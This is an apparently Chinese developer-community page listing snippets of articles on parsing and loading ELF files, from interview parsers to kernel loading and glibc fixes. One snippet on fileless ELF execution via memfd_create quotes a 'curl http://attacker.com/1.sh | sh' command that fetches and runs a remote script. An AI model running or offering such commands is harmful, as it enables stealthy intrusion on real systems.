首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

elf文件解析器_elf文件下载

前两天网上投递了简历,面试了一家C++公司,然后对面负责人给我发了一份笔试题,题目是: 请写出一个ELF文件解析器, 需要能打印出所有segments和sections,并列出每个section和segment...FILE *fp; fp = fopen(argv[1], "r"); if (NULL == fp) { printf("fail to open the file"); exit(0); } // 解析...= 'F') { printf("Not a ELF file\n"); exit(0); } // 解析section 分配内存 section * 数量 Elf64_Shdr *shdr = (Elf64...= ‘F’) { printf(“Not a ELF file\n”); exit(0); } // 解析section 分配内存 section * 数量 Elf64_Shdr *shdr = (...” ,里面定义了elf文件结构的各种数据结构,能够使解析elf的过程中更加方便: #ifndef _QEMU_ELF_H #define _QEMU_ELF_H #include <inttypes.h

1.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    ELF文件格式解析

    参考资料 ELF文件格式解析 《Android软件安全权威指南》8.4-原生程序文件格式 Android平台感染ELF文件实现模块注入 elf文件类型六 Dynamic Section(动态section...所以综上所述,整个SO文件的大小= e_shoff + e_shnum * sizeof(e_shentsize) + 1 有兴趣可以参考这篇文章来了解更多:ELF文件格式解析,下面很多部分都借鉴了这篇文章的内容...} Elf32_sym; 在010Editor里解析完成后这部分的内容就是dynamic_symbol_table了 其中的symname值就是在.dynstr的偏移了。....dynamic节区   由于.dynamic节区在010Editor中不会和其他Header Table一样有模板来解析各个组成部分的含义,而是只能看到如下图中的内容,因此需要人工的理解一下各个部分的意义...DT_SYMBOLIC 16 ignored ignored optional 在共享object库中出现的该元素为在库中的引用改变动态连接器符号解析的算法。

    2.5K40

    PE格式:实现ELF结构解析工具

    ELF文件格式,是一个开放的可执行文件和链接文件格式,其主要工作在Linux系统上,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件,ELF文件格式类似于PE格式,但比起PE结构来ELF...结构显得更加的简单,Linux文件结构相比于Windows结构来说简单一些.读取ELF头: 首先需要先来编译一个简单的ELF文件,然后将文件编译并连接....lyshark");return 0;}[root@localhost ~]# gcc -c lyshark.c [root@localhost ~]# gcc -o lyshark lyshark.o Linux...系统中有一个默认命令readelf -h可以解析指定文件的头结构....|linux系统中的节头文件保存在/usr/include/elf.h我通过查找找到了ELF64所对应的结构数据typedef uint16_t Elf64_Half; 16typedef uint32

    53500

    【Android 逆向】使用 Python 代码解析 ELF 文件 ( PyCharm 中创建 Python 程序 | 导入 ELFFile 库 | 解析 ELF 文件 )

    文章目录 一、PyCharm 中创建 Python 程序 二、导入 ELFFile 依赖库 三、 解析 ELF 文件 四、 博客源码 一、PyCharm 中创建 Python 程序 ---- 在 PyCharm...ELF 文件 ---- 工程结构 : 将要解析的 libwtcrypto.so 动态库拷贝到工程根目录 , 执行 main.py 即可完成解析 ; 完整代码示例 : # coding=utf-8 #...解析 elf 文件需要导入的依赖库 # 安装 pyelftools 库 from elftools.elf.elffile import ELFFile def main(): # 要解析的动态库路径...elf_path = r'libwtcrypto.so' # 打开 elf 文件 file = open(elf_path, 'rb') # 创建 ELFFile 对象..., 该对象是核心对象 elf_file = ELFFile(file) # 打印 elf 文件头 print(elf_file.header) # 打印 程序头入口

    93520

    Linux无文件渗透执行ELF

    01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/...exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...参考: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html http://man7.org/linux

    5.5K80

    含大量图文解析及例程 | Linux下的ELF文件、链接、加载与库(中)

    总体来说,在程序加载过程中,磁盘上的可执行文件,进程的虚拟地址空间,还有机器的物理内存的映射关系如下: Linux下的装载过程 接下来我们进一步探究一下Linux是怎么识别和装载ELF文件的,我们需要深入...Linux内核去寻找答案 (内核实际处理过程涉及更多的过程,我们这里主要关注和ELF文件处理相关的代码)。...下图是Linux内核代码中与ELF文件的装载相关的一些代码: /fs/binfmt_elf.c中 Load_elf_binary的代码走读: 检查ELF文件头部信息(一致性检查) 加载程序头表(可以看到一个可执行程序必须至少有一个段...Linux环境下的动态链接对象都是以.so为扩展名的共享对象(Shared Object)。 真的是动态链接的吗?...Linux的动态链接器是glibc的一部分,入口地址是sysdeps/x86_64/dl-machine.h中的_start,然后调用 elf/rtld.c 的_dl_start函数,最终调用 dl_main

    3K21

    含大量图文解析及例程 | Linux下的ELF文件、链接、加载与库(上)

    ELF文件详解 ELF文件的三种形式 在Linux下,可执行文件/动态库文件/目标文件(可重定向文件)都是同一种文件格式,我们把它称之为ELF文件格式。虽然它们三个都是ELF文件格式但都各有不同。...其实还有一种core文件,也属于ELF文件,在core dumped时可以得到。我们这里暂且不提。 注意:在Linux中并不以后缀名作为区分文件格式的绝对标准。...可重定位ELF文件的内容分析 #include ,该头文件通常在/usr/include/elf.h,可以自己vim查看。...我们可以看到,之前填0留空的地方都被填充上了正确的数值,%rip相对寻址的偏移量以被填上了正确的数值,而且objdump也能够正确地解析出我们的外部符号名(最后一列)的框。...包括但不限于:C/C++,Arm, Linux,Android,人工智能,单片机,树莓派,等等。在上面的【人人都是极客】公众号内回复「peter」,即可免费获取!!

    3K52

    【Android 逆向】ELF 文件格式 ( ELF 文件简介 | ELF 文件结构 )

    文章目录 一、ELF 文件简介 二、ELF 文件结构 一、ELF 文件简介 ---- ELF 文件是 Executable and Linkable Format ( 可执行 和 可链接 格式 ) 的文件...| 编译器指示字 ) 博客 ; ELF 文件 对应的 Linux 中的目标文件格式有 : 库文件 , 可执行文件 , 编译中间文件 ; 编译中间文件有 .a , .o , .s 文件 ; 库文件 ,..., 会遵循 ELF 文件格式的规范 ; ELF 文件格式最常见的形式就是 .so 动态库 ; ELF 文件的特点 : ELF 文件是以 7F 45 4C 46 开头 , 其中 7F 是一个二进制标志..., 45 4C 46 是 ELF 字符对应的 ASCII 码 ; 二、ELF 文件结构 ---- ELF 文件由以下四部分组成 : ELF 文件头 ELF 程序头 : ELF 程序头 会告知 节区头部表的位置...; 节区或段 节区头部表 : 节区头部表 会告知 ELF 文件中有多少个 节区 , 一般 节区头部表 一般都在 ELF 文件尾部 ;

    1.2K30

    含大量图文解析及例程 | Linux下的ELF文件、链接、加载与库(下)

    Linux的运行库glibc为例,所谓的入口函数,其实 就是指ld 默认的链接脚本所指定的程序入口_start (默认情况下)。...运行库 glibc = GNU C library Linux环境下的C语言运行库glibc包括: 启动和退出相关的函数 C标准库函数的实现 (标准输入输出,字符处理,数学函数等等) … 事实上运行库是和平台相关的...大家注意,这里还多了一个奇怪的家伙:解释器,interpreter /lib64/ld-linux-x86-64.so.2。 实际上,它就是动态链接文件的链接加载器。...包括但不限于:C/C++,Arm, Linux,Android,人工智能,单片机,树莓派,等等。在上面的【人人都是极客】公众号内回复「peter」,即可免费获取!!

    1.4K22

    【Android 逆向】ELF 文件格式 ( ELF 文件头 | ELF 文件头标志 | ELF 文件位数 | ELF 文件大小端格式 )

    文章目录 一、ELF 文件简介 二、ELF 文件头 三、ELF 文件头标志 四、ELF 文件位数 五、ELF 文件大小端格式 一、ELF 文件简介 ---- 在上一篇博客 【Android 逆向】ELF...文件格式 ( 安装 010 Editor 二进制查看工具的 ELF.bt 插件模板 | 安装 ELF.bt 模板 | 打开 ELF 文件 ) 中 , 准备 ELF 文件解析环境 , 在 010 Editor...中安装了 ELF.bt 模板 ; 二、ELF 文件头 ---- ELF 文件头区域如下 : 前 16 字节是 ELF 的标志 , 三、ELF 文件头标志 ---- 0 ~ 3 字节 : 是 0x7F...和 ELF 的 ASCII 码 ; 这是 ELF 文件的特征 ; 四、ELF 文件位数 ---- 4 字节 : 表示该 ELF 文件的位数 32 位还是 64 位 ; 值为 01 , 表示该 ELF...文件是 32 位 文件 ; 五、ELF 文件大小端格式 ---- 5 字节 : 表示 有效位 格式 , 取值 LSB / MSB ; 此处值为 1 , LSB 格式 ; 这个值由编译器决定 ; 有些

    98210

    Linux 修改 ELF 解决 glibc 兼容性问题

    转自:Soul Of Free Loop链接:https://zohead.com/archives/mod-elf-glibc/ Linux glibc 问题 相信有不少 Linux 用户都碰到过运行第三方...(非系统自带软件源)发布的程序时的 glibc 兼容性问题,这一般是由于当前 Linux 系统上的 GNU C 库(glibc)版本比较老导致的,例如我在 CentOS 6 64 位系统上运行某第三方闭源软件时会报...分析 ELF 首先用 readelf 命令查看 ELF 的符号表,由于该命令输出非常多,这里只贴出我们关心的信息: [root@centos6-dev ~]# readelf -sV tester Symbol...修改 ELF 符号表 由于 Linux 系统中的 LD 库(也就是 /lib64/ld-linux-x86-64.so.2 库)加载 ELF 时检查 .gnu.version_r 表中的符号,我们可以使用任何一款十六进制编辑器来修改...符号,保存 ELF 文件之后就可以看到效果了: [root@centos6-dev ~]# ldd tester linux-vdso.so.1 => (0x00007fffc17ee000

    4.7K20

    ELF文件的加载过程(load_elf_binary函数详解)--Linux进程的管理与调度(十三)

    )的工具软件,而解释器的装入/启动也由内核负责,这在后面我们分析ELF文件的加载时就可以看到 这部分主要说明ELF文件在内核空间的加载过程,下一部分对用户空间符号的动态解析过程进行说明。...Linux可执行文件类型的注册机制 在说明ELF文件的加载过程以前,我们先回答一个问题,就是: 为什么Linux可以运行ELF文件?...填写目标文件的参数环境变量等必要信息 start_kernel宏准备进入新的程序入口 ELF文件中符号的动态解析过程 前面我们提到了内核空间中ELF文件的加载工作 内核的工作 内核首先读取ELF文件头部...程序开始执行 具体的信息可以参照 Intel平台下LinuxELF文件动态链接的加载、解析及实例分析(一): 加载 Intel平台下linuxELF文件动态链接的加载、解析及实例分析(...二): 函数解析与卸载 附录(load_elf_binary函数注释) static int load_elf_binary(struct linux_binprm *bprm) {

    7.9K51
    领券